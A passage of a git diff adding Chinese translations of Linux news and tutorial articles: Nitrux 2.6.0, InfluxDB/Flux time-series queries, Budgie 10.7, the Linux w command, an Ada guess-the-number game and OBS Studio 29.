Wayland 会话。Wayland 还不是默认的,但可以作为选项选择。X11 仍然是默认的。我相信在下一个主要版本中 NItrux 团队可以默认启用 Wayland。 + +此外,现代声音管理器 Pipewire 现在是默认的,因为它已经在 Ubuntu 和 Fedora 中标准化了,而且感觉很稳定。由于有了 Pipewire,你的音频工作流程将变得更好。 + +Nitrux 2.6.0 还默认启用了最大的 Flatpak 应用程序仓库 - Flathub。这意味着你不需要再手动设置 Flatpak 和启用 Flathub。现在,Flatpak 应用程序的安装变得更加容易。 + +其他值得注意的变化包括:Nitrux 使根(/)分区成为不可变分区,以防止它被破坏,Samba 包现在是 Nitrux 默认安装的一部分,Calamares 安装程序有了一个定制的自动分区方案。 + +![Nitrux 2.6 安装自动分区][4] + +从一开始,Nitrux 就倾向于为其整个桌面组件提供自包含的可执行文件。主要的选择是 AppImage 文件格式。在这个版本中,你会得到默认的 Flathub 环境,而流行的 apt 软件包管理器现在被放弃了。这可能会改变一些用户的工作流程,因为 `apt` 命令将无法工作;尽管它是基于 Debian 的。 + +因此,Nitrux 团队建议使用 Distrobox 容器来设置单独的环境,以便与 apt 一起使用。然而,对于普通用户来说,理解容器、不可变的根分区会有点困难。 + +![apt 被放弃][5] + +讽刺的是 `apt` 会在安装时使用,因为 Calamares 需要它。然而,在安装完成后,它会被删除。 + +> 现场 ISO 中包括 APT 和 dpkg,但这是因为 Calamares 需要它们来完成安装,并将从安装的系统中删除。 +> +> —— NITRUX TEAM + +Nitrux 2.6.0 的核心是 liqurix 内核 6.1,以及游戏和多媒体功能。这个版本由 KDE Plasma 2.26.4、KDE Framework 5.101.0 和 Qt 5.15.7 LTS 驱动。 + +如果你想阅读更多信息,可以在 [这里][6] 找到详细的发布说明。 + +### 下载 + +你可以从以下页面下载这个版本。然而,没有可用的升级路径。因此,建议进行新的安装。 + +- [FOSS Torrents(Torrent)][7] +- [Sourceforge(镜像)][8] +- [OSDN(镜像)][9] + +参考自 [发布公告][10]。 + +-------------------------------------------------------------------------------- + +via: https://debugpointnews.com/nitrux-2-6-0-release/ + +作者:[arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://debugpointnews.com/author/dpicubegmail-com/ +[b]: https://github.com/lkxed +[1]: https://debugpointnews.com/wp-content/uploads/2023/01/nitrux-head.jpg +[2]: https://debugpointnews.com/wp-content/uploads/2023/01/Nitrux-2.6.0-Desktop.jpg +[3]: https://nxos.org/ +[4]: https://debugpointnews.com/wp-content/uploads/2023/01/Nitrux-2.6-install-automatic-partition.jpg +[5]: https://debugpointnews.com/wp-content/uploads/2023/01/Screenshot-from-2023-01-05-13-44-57.png +[6]: https://nxos.org/notes/notes-nitrux-2-6-0 +[7]: https://fosstorrents.com/distributions/nitrux/ +[8]: https://sourceforge.net/projects/nitruxos/files/Release/ISO +[9]: https://osdn.net/projects/nitrux/releases/p18379 +[10]: https://nxos.org/changelog/release-announcement-nitrux-2-6-0/ diff --git a/published/202301/20230106.0 ⭐️⭐️ Use time-series data to power your edge projects with open source tools.md b/published/202301/20230106.0 ⭐️⭐️ Use time-series data to power your edge projects with open source tools.md new file mode 100644 index 0000000000..39920d1915 --- /dev/null +++ b/published/202301/20230106.0 ⭐️⭐️ Use time-series data to power your edge projects with open source tools.md @@ -0,0 +1,128 @@ +[#]: subject: "Use time-series data to power your edge projects with open source tools" +[#]: via: "https://opensource.com/article/23/1/time-series-data-edge-open-source-tools" +[#]: author: "Zoe Steinkamp https://opensource.com/users/zoesteinkamp" +[#]: collector: "lkxed" +[#]: translator: "ZhangZhanhaoxiang" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15481-1.html" + +使用时间序列数据,用开源工具助力你的边缘项目 +====== + +![][0] + +> InfluxData 是一个开源的时间序列数据库平台。下面介绍了它是如何被用于边缘应用案例的。 + +收集到的随时间变化的数据称为时间序列数据。今天,它已经成为每个行业和生态系统的一部分。它是不断增长的物联网行业的一大组成部分,将成为人们日常生活的重要部分。但时间序列数据及其需求很难处理。这是因为没有专门为处理时间序列数据而构建的工具。在这篇文章中,我将详细介绍这些问题,以及过去 10 年来 InfluxData 如何解决这些问题。 + +### InfluxData + +InfluxData 是一个开源的时间序列数据库平台。你可能通过 [InfluxDB][1] 了解该公司,但你可能不知道它专门从事时间序列数据库开发。这很重要,因为在管理时间序列数据时,你要处理两个问题:存储生命周期和查询。 + +在存储生命周期中,开发人员通常首先收集和分析非常详细的数据。但开发人员希望存储较小的、降低采样率的数据集,以描述其趋势,而不占用太多的存储空间。 + +查询数据库时,你不希望基于 ID 查询数据,而是希望基于时间范围进行查询。使用时间序列数据最常见的一件事是在一段时间内对其进行汇总。在典型的关系型数据库中存储数据时,这种查询是很慢的,这种数据库使用行和列来描述不同数据点的关系。专门为处理时间序列数据而设计的数据库可以更快地处理这类查询。InfluxDB 有自己的内置查询语言:Flux,这是专门为查询时间序列数据集而构建的。 + +![Telegraf 如何工作的图像][2] + +### 数据采集 + +数据采集和数据处理都有一些很棒的工具。InfluxData 有 12 个以上的客户端库,允许你使用自己选择的编程语言编写和查询数据。这是自定义用法的一个很好的工具。开源摄取代理 Telegraf 包括 300 多个输入和输出插件。如果你是一个开发者,你也可以贡献自己的插件。 + +InfluxDB 还可以接受上传小体积历史数据集的 CSV 文件,以及大数据集的批量导入。 + +``` +import math +bicycles3 = from(bucket: "smartcity") +    |> range(start:2021-03-01T00:00:00z, stop: 2021-04-01T00:00:00z) +    |> filter(fn: (r) => r._measurement == "city_IoT") +    |> filter(fn: (r) => r._field == "counter") +    |> filter(fn: (r) => r.source == "bicycle") +    |> filter(fn: (r) => r.neighborhood_id == "3") +    |> aggregateWindow(every: 1h, fn: mean, createEmpty:false) +bicycles4 = from(bucket: "smartcity") +    |> range(start:2021-03-01T00:00:00z, stop: 2021-04-01T00:00:00z) +    |> filter(fn: (r) => r._measurement == "city_IoT") +    |> filter(fn: (r) => r._field == "counter") +    |> filter(fn: (r) => r.source == "bicycle") +    |> filter(fn: (r) => r.neighborhood_id == "4") +    |> aggregateWindow(every: 1h, fn: mean, createEmpty:false)join(tables: {neighborhood_3: bicycles3, neighborhood_4: bicycles4}, on ["_time"], method: "inner") +    |> keep(columns: ["_time", "_value_neighborhood_3","_value_neighborhood_4"]) +    |> map(fn: (r) => ({ +        r with +        difference_value : math.abs(x: (r._value_neighborhood_3 - r._value_neighborhood_4)) +    })) +``` + +### Flux + +Flux 是我们的内部查询语言,从零开始建立,用于处理时间序列数据。它也是我们一些工具的基础动力,包括 任务task警报alert通知notification。要剖析上面的 Flux 查询,需要定义一些东西。首先,“bucket”就是我们所说的数据库。你可以配置存储桶,然后将数据流添加到其中。查询会调用 `smartcity` 存储桶,其范围为特定的一天(准确地说是 24 小时)。你可以从存储桶中获取所有数据,但大多数用户都包含一个数据范围。这是你能做的最基本的 Flux 查询。 + +接下来,我添加过滤器,将数据过滤到更精确、更易于管理的地方。例如,我过滤分配给 id 为 3 的社区中的自行车数量。从那里,我使用 `aggregateWindow` 获取每小时的平均值。这意味着我希望收到一个包含 24 列的表,每小时一列。我也对 id 为 4 的社区进行同样的查询。最后,我将这两张表相叠加,得出这两个社区自行车使用量的差异。 + +如果你想知道什么时候是交通高峰,这是不错的选择。显然,这只是 Flux 查询功能的一个小例子。但它提供了一个很好的例子,使用了 Flux 附带的一些工具。我还有很多的数据分析和统计功能。但对于这一点,我建议查看 Flux 文档。 + +``` +import "influxdata/influxdb/tasks" +option task = {name: PB_downsample, every: 1h, offset: 10s} +from(bucket: "plantbuddy") +    |>range(start: tasks.lastSuccess(orTime: -task.every)) +    |>filter(fn: (r) => r["_measurement"] == "sensor_data") +    |>aggregateWindow(every: 10m, fn:last, createEmpty:false) +    |>yield(name: "last") +    |>to(bucket: "downsampled") +``` + +### 任务 + +InfluxDB 任务task 是一个定时 Flux 脚本,它接收输入数据流并以某种方式修改或分析它。然后,它将修改后的数据存储在新的存储桶中或执行其他操作。将较小的数据集存储到新的存储桶中,称为“降采样downsampling”,这是数据库的核心功能,也是时间序列数据生命周期的核心部分。 + +你可以在当前任务示例中看到,我已经对数据进行了降采样。我得到每 10 分钟增量的最后一个值,并将该值存储在降采样桶中。原始数据集在这 10 分钟内可能有数千个数据点,但现在降采样桶只有 60 个新值。需要注意的一点是,我还使用了范围内的 `lastSuccess` 函数。这会告诉 InfluxDB 从上次成功运行的时间开始运行此任务,以防它在过去 2 小时内失败,在这种情况下,它可以追溯 3 个小时内的最后一次成功运行。这对于内置错误处理非常有用。 + +![检查和警报通知系统的图像][3] + +### 检查和警报 + +InfluxDB 包含一个 警报Alert检查Check通知notification 系统。这个系统非常简单直白。首先进行检查,定期查看数据以查找你定义的异常。通常,这是用阈值定义的。例如,任何低于 32°F 的温度值都被指定为“WARN”值,高于 32°F 都被分配为“OK”值,低于 0°F 都被赋予“CRITICAL”值。从那开始,你的检查可以按你认为必要的频率运行。你的检查以及每个检查的当前状态都有历史记录。在不需要的时候,你不需要设置通知。你可以根据需要参考你的警报历史记录。 + +许多人选择设置通知。为此,你需要定义一个 通知端点notification endpoint。例如,聊天应用程序可以进行 HTTP 调用以接收通知。然后你定义何时接收通知,例如,你可以每小时运行一次检查。你可以每 24 小时运行一次通知。你可以让通知响应值更改,例如,“WARN”更改为“CRITICAL”,或者当值为“CRITICAL”时,无论如何都从“OK”更改为“WARN”。这是一个高度可定制的系统。从这个系统创建的 Flux 代码也可以编辑。 + +![新 Edge 功能的图像][4] + +### 边缘 + +最后,我想把所有的核心功能放在一起,包括最近发布的一个非常特别的新功能。“Edge to cloud” 是一个非常强大的工具,允许你运行开源 InfluxDB,并在出现连接问题时在本地存储数据。连接修复后,它会将数据流传输到 InfluxData 云平台。 + +这对于边缘设备和重要数据非常重要,因为任何数据丢失都是有害的。你定义一个要复制到云的存储桶,然后该存储桶有一个磁盘支持的队列来本地存储数据。然后定义云存储桶应该复制到的内容。在连接到云端之前,数据都存储在本地。 + +### InfluxDB 和物联网边缘 + +假设你有一个项目,你想使用连接到植物上的物联网传感器 [监测家里植物的健康状况][5]。该项目是使用你的笔记本电脑作为边缘设备设置的。当你的笔记本电脑合上或关闭时,它会在本地存储数据,然后在重新连接时将数据流传到我的云存储桶。 + +![图片展示了 Plant buddy 的工作方式][6] + +需要注意的一点是,在将数据存储到复制桶之前,这会对本地设备上的数据进行降采样。你的植物传感器每秒提供一个数据点。但它将数据压缩为一分钟的平均数,因此存储的数据更少了。在云账户中,你可以添加一些警报和通知,让你知道植物的水分何时低于某个水平,需要浇水。也可以在网站上使用视觉效果来告诉用户植物的健康状况。 + +数据库是许多应用程序的主干。在像 InfluxDB 的时间序列数据库平台中使用带有时间戳的数据可以节省开发人员的时间,并使他们能够访问各种工具和服务。InfluxDB 的维护者喜欢看到人们在我们的开源社区中构建什么,所以请与我们联系,并与其他人共享你的项目和代码! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/1/time-series-data-edge-open-source-tools + +作者:[Zoe Steinkamp][a] +选题:[lkxed][b] +译者:[ZhangZhanhaoxiang](https://github.com/ZhangZhanhaoxiang) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/zoesteinkamp +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/17/8/influxdb-time-series-database-stack +[2]: https://opensource.com/sites/default/files/2022-12/Telegraf.png +[3]: https://opensource.com/sites/default/files/2022-12/TimeSeriesChecks%26Alerts.png +[4]: https://opensource.com/sites/default/files/2022-12/TimSeriesEdge.png +[5]: https://opensource.com/article/22/5/plant-care +[6]: https://opensource.com/sites/default/files/2022-12/TimeSeriesplantbuddy.png +[0]: https://img.linux.net.cn/data/attachment/album/202301/25/220620ftlnqfm4og7q2j0z.jpg \ No newline at end of file diff --git a/published/202301/20230106.2 ⭐️ Budgie's Upcoming 10.7 Release Promises These 3 Key Improvements for Linux Users.md b/published/202301/20230106.2 ⭐️ Budgie's Upcoming 10.7 Release Promises These 3 Key Improvements for Linux Users.md new file mode 100644 index 0000000000..9d332fdddd --- /dev/null +++ b/published/202301/20230106.2 ⭐️ Budgie's Upcoming 10.7 Release Promises These 3 Key Improvements for Linux Users.md @@ -0,0 +1,97 @@ +[#]: subject: "Budgie's Upcoming 10.7 Release Promises These 3 Key Improvements for Linux Users" +[#]: via: "https://news.itsfoss.com/budgie-10-7-features/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15424-1.html" + +Budgie 10.7 即将带来 3 项关键改进 +====== + +> Budgie 10.7 有很多有价值的改进。请看本文。 + +![][1] + +Budgie 是一个旨在将杂乱无章降到最低,为用户提供一个干净/简约的体验的桌面环境。 + +早在 2022 年 1 月,Solus 的前联合负责人 Joshua Strobl [离开了 Solus][2],从事 [SerpentOS][3] 的开发,但他还继续参与 Budgie 的开发。 + +因此,他将该项目复刻到一个新的代码仓库,并成立了 [Buddies Of Budgie][4] 组织。三个月后,他们发布了 **Budgie 10.6**。 + +这是一个很不错的版本,即使不是很特别。 + +展望未来,他们发布了 2023 年的计划,其中包括发布 **Budgie 10.7**。 + +[Joshua Strobl][5] 在博文中也提到了更多计划内容: + +> 至少,它应该是一个很好的基础,并为 Budgie 桌面今年的发展方向提供一个清晰的蓝图:Budgie 10.x 将会增加新的功能、QoL 改进和修复。Budgie 11 的开发工作也将起步。 + +### Budgie 10.7 可以期待什么? + +Budgie 10.7 的开发工作自去年以来一直在进行。它本应在 2022 年发布,但需要更多的时间来提供一个完美的体验。 + +已经完成了很多工作,但其中一些值得注意的三个变化是: + +- 对 Budgie 菜单的更新 +- 新的 Budgie 屏幕截图工具 +- 对 Budgie 运行对话框的改进 + +#### 对 Budgie 菜单的更新 + +![Budgie 10.7 菜单][6] + +在这个版本中,Budgie 菜单将得到一些改进,例如。 + +- 一个新的电源菜单,包含所有常用的选项,如**暂停、休眠、注销和关闭电源**。 +- 更新的个人用户菜单可以快速访问 XDG 目录。这将让你直接打开文件管理器窗口进入主页、文档、音乐等文件夹。 +- 快速访问 Budgie 控制中心和桌面设置。 +- 能够从菜单本身显示各种桌面设置。 + +#### Budgie 屏幕截图工具 + +![Budgie 10.7 屏幕截图工具][7] + +终于,你不再需要下载另一个工具来在 Budgie 上进行截图;从 10.7 开始,它将具有一个原生的屏幕截图应用程序。 + +它将支持对屏幕、窗口的捕捉,甚至是进行选区捕捉。 + +#### 对 Budgie 运行对话框的改进 + +![Budgie 10.7 运行对话框][8] + +Budgie 运行对话框将获得许多改进,例如: + +- 一个新的应用程序索引器将被用于 Budgie 菜单,以寻找和分类应用程序。它应该能提供一个 “可预测的模糊搜索体验”。 +- 根据显示器的工作区域改进对话框的大小计算。 +- 更好的应用程序名称和描述的标签样式。 + +### 发布和未来计划 + +根据他们的 [公告][9],他们打算在 2023 年第一季度的某个时候发布 Budgie 10.7。他们还没有确定一个具体的日期。 + +并计划在不久之后发布带有错误修复的 10.7.1 版本,然后在 2023 年第二季度发布 Budgie 10.8。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/budgie-10-7-features/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2023/01/budgie-10-7-release.png +[2]: https://news.itsfoss.com/solus-co-lead-resign-budgie-serpent/ +[3]: https://serpentos.com +[4]: https://blog.buddiesofbudgie.org +[5]: https://joshuastrobl.com +[6]: https://news.itsfoss.com/content/images/2023/01/Budgie_10.7_Preview_Menu.jpg +[7]: https://news.itsfoss.com/content/images/2023/01/Budgie_10.7_Preview_SS.png +[8]: https://news.itsfoss.com/content/images/2023/01/Budgie_10.7_Preview_Run.jpg +[9]: https://blog.buddiesofbudgie.org/state-of-the-budgie-2022/ diff --git a/published/202301/20230107.0 ⭐️ Learn w Command in Linux & BSD with Examples.md b/published/202301/20230107.0 ⭐️ Learn w Command in Linux & BSD with Examples.md new file mode 100644 index 0000000000..65d0c7dced --- /dev/null +++ b/published/202301/20230107.0 ⭐️ Learn w Command in Linux & BSD with Examples.md @@ -0,0 +1,111 @@ +[#]: subject: "Learn w Command in Linux & BSD with Examples" +[#]: via: "https://www.debugpoint.com/w-command-linux-examples/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15437-1.html" + +w 命令的解释与示例 +====== + +> 下面是一份关于理解 Linux 和 BSD 中的 w 命令的初学者指南,并附有几个例子。 + +![][0] + +这篇文章是 [Linux 命令][2]学习系列的一部分。 + +### w 命令 + +`w` 命令是 Linux 中的一个工具,它显示当前登录到系统中的用户及其进程的信息。它显示谁已登录,以及他们正在做什么活动。这意味着它可以显示他们在系统中运行什么进程。 + +### 语法 + +下面是 `w` 命令的基本语法: + +``` +w [options] [username] +``` + +`w` 命令接受一个可选的选项列表,然后是一个可选的用户名。如果指定了用户名,`w` 将只显示该用户拥有的进程信息。 + +### w 命令的例子及其用法 + +下面是一些使用 `w` 命令的例子。 + +当你只用 `w` 运行它时,它显示以下输出: + +``` +$ w + 21:45:07 up 1 day, 12:48, 1 user, load average: 1.05, 0.85, 0.56 +USER TTY LOGIN@ IDLE JCPU PCPU WHAT +debugpoi tty2 Thu08 36:48m 0.03s 0.03s /usr/libexec/gnome-session-binary +``` + +![Linux 中 w 命令的基本输出][3] + +解释:`USER` 列给出了用户名,然后是终端号、登录日期时间、空闲时间、CPU 使用率,以及用户正在执行的进程。 + +- `USER` - 在你的 Linux 或 BSD 系统中登录的用户名称。 +- `TTY` - 当前会话的终端标识符号。 +- `FROM` - 用户的主机名或 IP 地址。 +- `LOGIN@` - 用户登录的时间。它有时会根据你的系统设置显示日期。 +- `IDLE` - 用户与终端交互后的空闲时间。 +- `JCPU` - 该会话的所有用户进程使用的 CPU 时间。 +- `PCPU` - 该用户的进程(在 `WHAT` 字段中提到)使用的时间。 +- `WHAT` - 当前带参数的进程。 + +下面是 `w` 命令的另一个例子,有两个用户在虚拟机环境中登录。正如你所看到的,显示了两个用户名与当前运行的带有进程参数的独立进程。 + +![演示多用户环境的 w 命令输出][4] + +让我们看一下这个命令的一些选项。 + +要停止显示标题,使用 `-h` 选项。它与 `--no-header` 开关相同。 + +``` +$ w -h +``` + +`-f` 选项可以在输出中切换 `FROM` 字段的可见性。 + +``` +$ w -f +``` + +使用 `-s` 选项打印一个简短的输出,不包括 `JCPU`、`PCPU` 和 `LOGIN@` 信息。 + +``` +$ w -s +``` + +要显示一个特定用户(例如,`debugpoint`)拥有的所有进程的列表: + +``` +$ w debugpoint +``` + +### 结束语 + +我希望这篇文章能帮助你了解 `w` 命令及其基本原理。你也可以阅读 [w 手册页][5] 来了解更多。如果你有任何问题,请告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/w-command-linux-examples/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2023/01/whead.jpg +[2]: https://www.debugpoint.com/category/linux-commands +[3]: https://www.debugpoint.com/wp-content/uploads/2023/01/a-basic-outout-of-w-command-in-Linux.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2023/01/w-command-output-for-a-demo-multi-user-environment.jpg +[5]: https://linux.die.net/man/1/w +[0]: https://img.linux.net.cn/data/attachment/album/202301/12/100901f1rnn4zu2u12ligr.jpg \ No newline at end of file diff --git a/published/202301/20230109.0 ⭐️⭐️ Learn the Ada programming language by writing a simple game.md b/published/202301/20230109.0 ⭐️⭐️ Learn the Ada programming language by writing a simple game.md new file mode 100644 index 0000000000..b502bf537f --- /dev/null +++ b/published/202301/20230109.0 ⭐️⭐️ Learn the Ada programming language by writing a simple game.md @@ -0,0 +1,183 @@ +[#]: subject: "Learn the Ada programming language by writing a simple game" +[#]: via: "https://opensource.com/article/23/1/learn-ada-simple-game" +[#]: author: "Moshe Zadka https://opensource.com/users/moshez" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15440-1.html" + +通过编写“猜数字”游戏来学习 Ada 编程语言 +====== + +![][0] + +> 这个 "猜数字 "游戏是学习新编程语言的一个很好的入门程序,因为它以一种相当直接的方式锻炼了几个常见的编程概念。 + +当你想 [学习一种新的编程语言][1] 时,把注意力放在编程语言的共同点上是很好的: + +- 变量 +- 表达式 +- 语句 + +这些概念是大多数编程语言的基础。一旦你理解了它们,你就可以开始琢磨其他的东西了。因为编程语言通常有相似之处,一旦你知道一种语言,你就可以通过了解其差异来学习另一种语言的基础知识。 + +学习新语言的一个好方法是用一个标准程序进行练习。这使你能够专注于语言,而不是程序的逻辑。在这个系列文章中,我使用了一个“猜数字”的程序,在这个程序中,计算机在 1 到 100 之间挑选一个数字,并要求你猜出来。程序循环进行,直到你猜对数字为止。 + +这个程序锻炼了编程语言中的几个概念: + +- 变量 +- 输入 +- 输出 +- 条件判断 +- 循环 + +这是一个学习新的编程语言的很好的实践实验。 + +### 安装 Ada + +[Ada 编程语言][2] 是一种独特的、高度结构化的语言,有专门一群开发者使用它。Ada 的工具链是 GNU Ada 开发环境,多被称为 GNAT。 + +你可以使用你的发行版的包管理器在 Linux 上安装 GNAT。在 Fedora、CentOS 或类似系统上: + +``` +$ sudo dnf install gcc-gnat +``` + +在 Debian、Linux Mint 及衍生版上: + +``` +$ sudo apt install gnat +``` + +在 macOS 和 Windows 上,你可以从 [Adacore 网站][3] 下载一个安装程序(从下拉菜单中选择你的平台)。 + +### 在 Ada 中猜数字 + +创建一个名为 `game.adb` 的文件。 + +这个程序使用的两个内置 Ada 库:`Text_IO` 和 `Numerics.Discrete_Random`: + +``` +with Ada.Text_IO; +use Ada.Text_IO; +with Ada.Numerics.Discrete_Random; +``` + +#### 过程头 + +过程procedure 的名称必须与文件的名称一致。第一部分是定义变量。 + +注意,`discrete_random` 是专门针对特定范围的。在这里,允许数字范围: + +``` +procedure Game is + type randRange is range 1..100; + package Rand_Int is new ada.numerics.discrete_random(randRange); + use Rand_Int; + gen : Generator; + num : randRange; + incorrect: Boolean := True; + guess: randRange; +``` + +#### 过程逻辑 + +该逻辑从 `reset(gen)` 开始。这将初始化随机数发生器,确保每次运行程序时,用 `random(gen)` 初始化的数字将是不同的。 + +下一步是运行循环: + +- 输出猜测的指令 +- 读取该行 +- 将其转换为 `randRange`。 +- 将其与数字进行核对 + +如果数字匹配,`incorrect` 被设置为 `False`,导致循环的下一次迭代退出。 + +最后,程序在退出前会打印出对猜测正确性的确认: + +``` +begin + reset(gen); + num := random(gen); + while incorrect loop + Put_Line ("Guess a number between 1 and 100"); + declare + guess_str : String := Get_Line (Current_Input); + begin + guess := randRange'Value (guess_str); + end; + if guess < num then + Put_line("Too low"); + elsif guess > num then + Put_line("Too high"); + else + incorrect := False; + end if; + end loop; + Put_line("That's right"); +end Game; +``` + +### 编译程序 + +编译 Ada 程序的最简单方法是使用 `gnatmake`: + +``` +$ gnatmake game.adb +aarch64-linux-gnu-gcc-10 -c game.adb +aarch64-linux-gnu-gnatbind-10 -x game.ali +aarch64-linux-gnu-gnatlink-10 game.ali +``` + +这将生成一个名为 `game` 的二进制文件。 + +### 运行程序 + +程序的每次运行都会有一些不同。这是一个例子: + +``` +$ ./game +Guess a number between 1 and 100 +50 +Too low +Guess a number between 1 and 100 +75 +Too low +Guess a number between 1 and 100 +82 +Too low +Guess a number between 1 and 100 +90 +Too high +Guess a number between 1 and 100 +87 +Too low +Guess a number between 1 and 100 +88 +That's right +``` + +### 学习 Ada + +这个“猜数字”游戏是学习新的编程语言的一个很好的入门程序,因为它以一种相当直接的方式锻炼了几个常见的编程概念。通过在不同的编程语言中实现这个简单的游戏,你可以展示这些语言的一些核心概念,并比较它们的细节。 + +你有喜欢的编程语言吗?你会如何用它来写“猜数字”的游戏?请关注本系列文章,看看你可能感兴趣的其他编程语言的例子吧! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/1/learn-ada-simple-game + +作者:[Moshe Zadka][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/moshez +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/20/10/learn-any-programming-language +[2]: https://opensource.com/article/21/10/learn-ada-2021 +[3]: https://www.adacore.com/download/more +[0]: https://img.linux.net.cn/data/attachment/album/202301/13/173929sbddkk6fbd67uu5v.jpg \ No newline at end of file diff --git a/published/202301/20230109.3 ⭐️ OBS Studio 29 Release Has Little in Store For Linux.md b/published/202301/20230109.3 ⭐️ OBS Studio 29 Release Has Little in Store For Linux.md new file mode 100644 index 0000000000..ace2e685f9 --- /dev/null +++ b/published/202301/20230109.3 ⭐️ OBS Studio 29 Release Has Little in Store For Linux.md @@ -0,0 +1,92 @@ +[#]: subject: "OBS Studio 29 Release Has Little in Store For Linux" +[#]: via: "https://news.itsfoss.com/obs-studio-29-release/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15439-1.html" + +OBS Studio 29 发布,但对 Linux 用户来说变化不大 +====== + +> OBS Studio 29 是一个令人兴奋的版本,在所有平台上都有关键的改进。 + +![][1] + +[OBS Studio][2] 是最受欢迎的开源屏幕录制和流媒体软件之一。 + +许多 Linux 用户和内容创作者都在使用它,它有一套相当不错的工具和功能,可以让你录制和串流内容。 + +它的上一个主要版本发布于 2022 年 9 月,它带来了对苹果芯片的原生支持、更新了用户界面、改进了颜色支持等等。 + +它的下一个版本,即 v29,似乎有点意思,但对 Linux 用户来说变化不大 😞 + +### OBS Studio 29 的新变化 + +![OBS Studio 29][3] + +这个版本有大量的改进和修复;其中一些亮点包括: + +- 对 Linux 的媒体键支持 +- 新的音频过滤器 +- 改进的英伟达视频和音频过滤器 +- 更好的编码器支持 +- 各种修复和改进 + +**媒体键支持:** 你终于可以用键盘上的媒体键来控制 Linux 上的 OBS 的播放或音量了。 + +**新的音频过滤器:** OBS Studio 29 具有两个新的音频滤波器,一个向上压缩滤波器和一个 3 波段均衡器滤波器。 + +**改进的英伟达视频和音频过滤器:** 对这些过滤器进行了各种改进。 + +增加了一个新的屏蔽刷新滑块,同时支持时间处理,这应该是为了提供更好的屏蔽质量。 + +**更好的编码器支持:**,OBS Studio 29 对几个编码器的支持得到了改善,例如: + +- Windows 上的用于 AMD [RX7000 系列][4] 的 AV1 编码器。 +- Windows 上的用于英特尔 [Arc GPU][5] 的 AV1 编码器。 +- Windows 上的英特尔 HEVC 编码器。 +- macOS 上的原生 HEVC 和 ProRes 编码器。 + +> 📋 注意,这些编码器只支持 Windows 或 macOS。可悲的是,他们少了对 Linux 的支持。我们希望在 OBS Studio 的未来版本中加入这些功能。 + +**各种修复和改进:** 除了上面列出的那些,OBS Studio 29 还有很多其他的变化,例如: + +- Websockets 5.1.0 +- 回放缓冲区的内存限制现在被限制在已安装的系统内存的 75%,而不是固定在 8GB。 +- 支持对 SRT 和 RIST 输出的加密和认证。 +- 能够检查和/或静音个别的浏览器底座。 +- 在视频捕获的情况下,支持更高的刷新率。 + +关于更多的技术细节,你可以查看 [官方发布说明][6]。 + +### 下载 OBS Studio 29 + +要获得最新的 OBS Studio 29,你可以使用 [Flatpak][7],这是推荐的方法。 + +你也可以看看其官方下载页面中提到的其他安装方法。 + +> **[OBS Studio 29][8]** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/obs-studio-29-release/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2023/01/obs-studio-29-release.png +[2]: https://obsproject.com +[3]: https://news.itsfoss.com/content/images/2023/01/OBS_Studio_29.png +[4]: https://en.wikipedia.org/wiki/Radeon_RX_7000_series +[5]: https://www.intel.in/content/www/in/en/products/details/discrete-gpus/arc.html +[6]: https://github.com/obsproject/obs-studio/releases/tag/29.0.0 +[7]: https://flathub.org/apps/details/com.obsproject.Studio +[8]: https://obsproject.com/download diff --git a/published/202301/20230110.0 ⭐️⭐️ A guide to strings in MySQL.md b/published/202301/20230110.0 ⭐️⭐️ A guide to strings in MySQL.md new file mode 100644 index 0000000000..73372bd403 --- /dev/null +++ b/published/202301/20230110.0 ⭐️⭐️ A guide to strings in 